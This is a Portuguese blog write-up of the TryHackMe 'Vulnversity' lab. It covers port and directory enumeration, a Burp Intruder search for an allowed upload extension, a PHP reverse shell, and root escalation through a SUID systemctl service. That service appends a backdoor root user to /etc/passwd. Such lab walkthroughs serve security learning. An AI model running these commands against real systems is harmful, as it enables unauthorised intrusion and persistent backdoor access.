Post

TryhackMe - Vulnversity - Fácil

Logo


CTF - Vulnversity



Enumeração

nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
└─$ sudo nmap -sV -sS -Pn --min-rate 10000 --stats-every=7s 10.10.64.102 -oA nmap                        
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-21 05:01 -03
Nmap scan report for 10.10.64.102
Host is up (0.21s latency).
Not shown: 994 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 3.0.3
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
3128/tcp open  http-proxy  Squid http proxy 3.5.12
3333/tcp open  http        Apache httpd 2.4.18 ((Ubuntu))
Service Info: Host: VULNUNIVERSITY; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.34 seconds

ffuf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
 :: Method           : GET
 :: URL              : http://10.10.64.102:3333/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/big.txt
 :: Extensions       : .php .txt .old .bkp 
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 200
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

.htaccess.bkp           [Status: 403, Size: 302, Words: 22, Lines: 12, Duration: 594ms]
.htpasswd.php           [Status: 403, Size: 302, Words: 22, Lines: 12, Duration: 320ms]
.htpasswd.txt           [Status: 403, Size: 302, Words: 22, Lines: 12, Duration: 321ms]
.htpasswd               [Status: 403, Size: 298, Words: 22, Lines: 12, Duration: 322ms]
.htpasswd.bkp           [Status: 403, Size: 302, Words: 22, Lines: 12, Duration: 323ms]
.htpasswd.old           [Status: 403, Size: 302, Words: 22, Lines: 12, Duration: 322ms]
.htaccess.old           [Status: 403, Size: 302, Words: 22, Lines: 12, Duration: 323ms]
.htaccess               [Status: 403, Size: 298, Words: 22, Lines: 12, Duration: 317ms]
.htaccess.txt           [Status: 403, Size: 302, Words: 22, Lines: 12, Duration: 303ms]
.htaccess.php           [Status: 403, Size: 302, Words: 22, Lines: 12, Duration: 320ms]
css                     [Status: 301, Size: 317, Words: 20, Lines: 10, Duration: 249ms]
fonts                   [Status: 301, Size: 319, Words: 20, Lines: 10, Duration: 236ms]
images                  [Status: 301, Size: 320, Words: 20, Lines: 10, Duration: 207ms]
internal                [Status: 301, Size: 322, Words: 20, Lines: 10, Duration: 217ms]
js                      [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 216ms]
server-status           [Status: 403, Size: 302, Words: 22, Lines: 12, Duration: 238ms]
:: Progress: [102345/102345] :: Job [1/1] :: 143 req/sec :: Duration: [0:03:16] :: Errors: 86 ::

index of

  • http://10.10.64.102:3333/css/
  • http://10.10.64.102:3333/fonts/
  • http://10.10.64.102:3333/images/

página de upload

  • http://10.10.64.102:3333/internal/

Apache httpd 2.4.18 ((Ubuntu)) tem exploit de escalação de privilégio. CVE-2019-0211

Tentei alguns formatos de arquivos na pagina de upload (php, php5, php7, txt jpg) sem sucesso.

Bursuite

Vamos interceptar o request da página de upload, pode enviar qualquer arquivo txt

Alt text

Agora enviei para intruder (Actions/Send to intruder)
Selecione Attack Type Sniper.
Selecione a extensão da request no caso .txt e clique no botão add.

Alt text Em payload cliquei em load e usei essa wordlist /usr/share/wordlists/seclists/Discovery/Web-Content/web-extensions.txt
Caso não tiver, tenha !.
sudo apt install seclists

Alt text Desmarquei a caixa URL encode, caso contrario não vai funcionar (motivo de ficar perdendo tempo e não saber porque não funcionava) Alt text

Ultima configuração não necessária, mas pra aprendizado é bem válida. Em settings/Grep - Extract Clique ADD vai abrir essa janela com o response selecione onde da a mensagem de erro e clique OK. Esta configuração vai te mostrar quais opções deram sucesso. Alt text E aqui esta o resultado, Sucess por causa da configuração anterior, caso nao fizesse essa opção deveria procurar pelo Lenght diferente e confirmar no response qual deu certo. Alt text

Acesso

Reverse Shell

Fiz upload do arquivo shell.phtml Rodei o ffuf novamente pra ver onde foi parar o arquivo.
$ ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.152.108:3333/internal/FUZZ -t 200 -v -e .php,.txt,.old,.bkp Alt text

Executada em http://10.10.152.108:3333/internal/uploads/shell.phtml

1
2
3
4
5
6
7
8
9
10
11
 ┌──(kali💀kali)-[~/thm/vulnversity]
└─$ rlwrap nc -lvnp 4443       
listening on [any] 4443 ...
connect to [10.6.125.125] from (UNKNOWN) [10.10.152.108] 46796
Linux vulnuniversity 4.4.0-142-generic #168-Ubuntu SMP Wed Jan 16 21:00:45 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
 17:44:07 up 22 min,  0 users,  load average: 0.00, 0.01, 0.12
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bash: cannot set terminal process group (1334): Inappropriate ioctl for device
bash: no job control in this shell
www-data@vulnuniversity:/$ 

Primeira flag

Encontrada em /home/bill

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ww-data@vulnuniversity:/home/bill$ ls -la
ls -la
total 24
drwxr-xr-x 2 bill bill 4096 Jul 31  2019 .
drwxr-xr-x 3 root root 4096 Jul 31  2019 ..
-rw-r--r-- 1 bill bill  220 Jul 31  2019 .bash_logout
-rw-r--r-- 1 bill bill 3771 Jul 31  2019 .bashrc
-rw-r--r-- 1 bill bill  655 Jul 31  2019 .profile
-rw-r--r-- 1 bill bill   33 Jul 31  2019 user.txt
www-data@vulnuniversity:/home/bill$ cat user
cat user
cat: user: No such file or directory
www-data@vulnuniversity:/home/bill$ cat user	
cat user.txt 
8bd7992fbe8a6ad22a63361004cfcedb
www-data@vulnuniversity:/home/bill$ 

Escalação de Privilégio

Não tenho sudo -l, vou pesquisar por binários SUID

Buscando por Binários SUID

Pode usar find / -perm -4000 2>dev/null

ou executar o suid3num.py, preferi esse, por ser mais rápido e já nos mostrar quais SUID podem ser abusados. Alt text

Com esse exploit de SUID você não vai ganhar uma shell root.

Ele vai executar esse comando como root »> ExecStart=/bin/sh -c "id > /tmp/output"

Pode usar ExecStart=/bin/sh -c “cat /root/root.txt” e você ja pega sua flag. Porém pra teste/estudo e imaginando que fosse um ambiente real de pentest, eu gostaria de ter um usuário root de fácil acesso, sem executar esse exploit sempre que acessar novamente a maquina. Então resolvi adicionar um usuário root no /etc/passwd

Criando usuário e senha no /etc/passwd

1
2
3
┌──(kali💀kali)-[~/SUID3NUM]
└─$ mkpasswd -m MD5 senha123
$1$nadkIwzJ$SmxU5RXAwnbBEJaxT/NWY/

Copie o usuário root do /etc/passwd, fica mais fácil de criar a linha
root:x:0:0:root:/root:/bin/bash
Adicione a hash no x e edite o nome root. Ficando assim
pentest:\$1\$nadkIwzJ\$SmxU5RXAwnbBEJaxT/NWY/:0:0:root:/root:/bin/bash

Criei um shell script porque o comando tava bugando quando colava no terminal.

Criei o script na pasta /tmp e dei permissão de execução chmod +x xd.sh

1
2
3
#!/bin/bash
command="echo 'pentest:\$1\$nadkIwzJ\$SmxU5RXAwnbBEJaxT/NWY/:0:0:root:/root:/bin/bash' >> /etc/passwd"
/bin/sh -c "$command"

Executei linha por linha no terminal

TF=$(mktemp).service
Type=oneshot
Type=oneshot
ExecStart=/bin/sh -c "./tmp/xd.sh"
[Install]
WantedBy=multi-user.target' > $TF
/bin/systemctl link $TF
/bin/systemctl enable --now $TF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
www-data@vulnuniversity:/tmp$ TF=$(mktemp).service
www-data@vulnuniversity:/tmp$ echo '[Service]
> Type=oneshot
> ExecStart=/bin/sh -c "./tmp/xd.sh"
> [Install]
> WantedBy=multi-user.target' > $TF
www-data@vulnuniversity:/tmp$ /bin/systemctl link $TF
Created symlink from /etc/systemd/system/tmp.cnziQke30D.service to /tmp/tmp.cnziQke30D.service.
www-data@vulnuniversity:/tmp$ /bin/systemctl enable --now $TF
Created symlink from /etc/systemd/system/multi-user.target.wants/tmp.cnziQke30D.service to /tmp/tmp.cnziQke30D.service.

www-data@vulnuniversity:/tmp$ cat /etc/passwd |grep pentest
pentest:$1$nadkIwzJ$SmxU5RXAwnbBEJaxT/NWY/:0:0:root:/root:/bin/bash
www-data@vulnuniversity:/tmp$ su pentest
Password: 
root@vulnuniversity:/tmp# 

Segunda flag

Alt text

Agora tenho root e posso criar ssh e sempre ter acesso a maquina sem fazer todo o exploit.

Conhecimentos adquiridos:

  • Escalação de privilégio com SUID systemctl
  • No Burp/Payload encoding desmarcar a opção de URL encode XD
Esta postagem está licenciada sob CC BY 4.0 pelo autor.